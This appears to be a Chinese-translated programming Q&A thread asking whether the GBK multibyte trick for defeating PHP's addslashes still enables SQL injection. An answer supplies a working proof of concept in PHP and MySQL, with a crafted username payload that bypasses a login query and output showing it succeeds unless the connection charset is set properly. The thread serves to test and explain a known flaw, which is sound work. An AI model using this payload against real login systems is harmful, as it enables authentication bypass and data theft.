dan*_*car 6 php mysql code-injection
我知道"参数化查询"是圣杯.这不是主题.
有一个旧帖子,似乎是使用addslashes时与sql注入相关的所有讨论的参考.
这是链接:http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
我的问题是:这个概念证明是否仍然正确?我试图测试它,但addslashes似乎正常工作.有没有其他人真的试过这个或者每个人都认为这是理所当然的?
SELECT *
FROM users
WHERE username = '?\' OR username = username /*'
AND password = 'guess'
Run Code Online (Sandbox Code Playgroud)
很明显这个技巧不起作用
更新:请阅读我问的问题.我不关心最佳实践,我不需要替代方案,我只需要确保它仍然有效.
更新:另外我想提醒一下这个POC适用于像GBK,SJIS或BIG5这样的字符集,每个人似乎都忘记了这一点.在使用addslashes时让标题听起来有点吓人并不安全.
解决方案:在我的情况下,mysql版本5.5.9-log不允许内联注释没有像/*那样完成.如果我使用 - 或#它的作用.
这似乎对我有用.
MySQL的:
mysql> select version();
+---------------------+
| version() |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec)
mysql> CREATE TABLE users (
-> username VARCHAR(32) CHARACTER SET GBK,
-> password VARCHAR(32) CHARACTER SET GBK,
-> PRIMARY KEY (username)
-> );
Query OK, 0 rows affected (0.08 sec)
mysql> insert into users SET username='ewrfg', password='wer44';
Query OK, 1 row affected (0.02 sec)
mysql> insert into users SET username='ewrfg2', password='wer443';
Query OK, 1 row affected (0.03 sec)
mysql> insert into users SET username='ewrfg4', password='wer4434';
Query OK, 1 row affected (0.00 sec)
Run Code Online (Sandbox Code Playgroud)
PHP:
<pre><?php
echo "PHP version: ".PHP_VERSION."\n";
mysql_connect();
mysql_select_db("test");
mysql_query("SET NAMES GBK");
$_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
$_POST['password'] = 'guess';
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
mysql_set_charset("GBK");
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
Run Code Online (Sandbox Code Playgroud)
结果:
PHP version: 5.3.3
string(29) "?\' OR username = username /*"
int(3)
string(6) "latin1"
string(29) "?\' OR username = username /*"
int(3)
string(6) "latin1"
string(30) "\?\' OR username = username /*"
int(0)
string(3) "gbk"
Run Code Online (Sandbox Code Playgroud)
结论:
对于那些高喊"你应该使用mres而不是addslashes!"的人来说,第二个结果将是最令人惊讶的.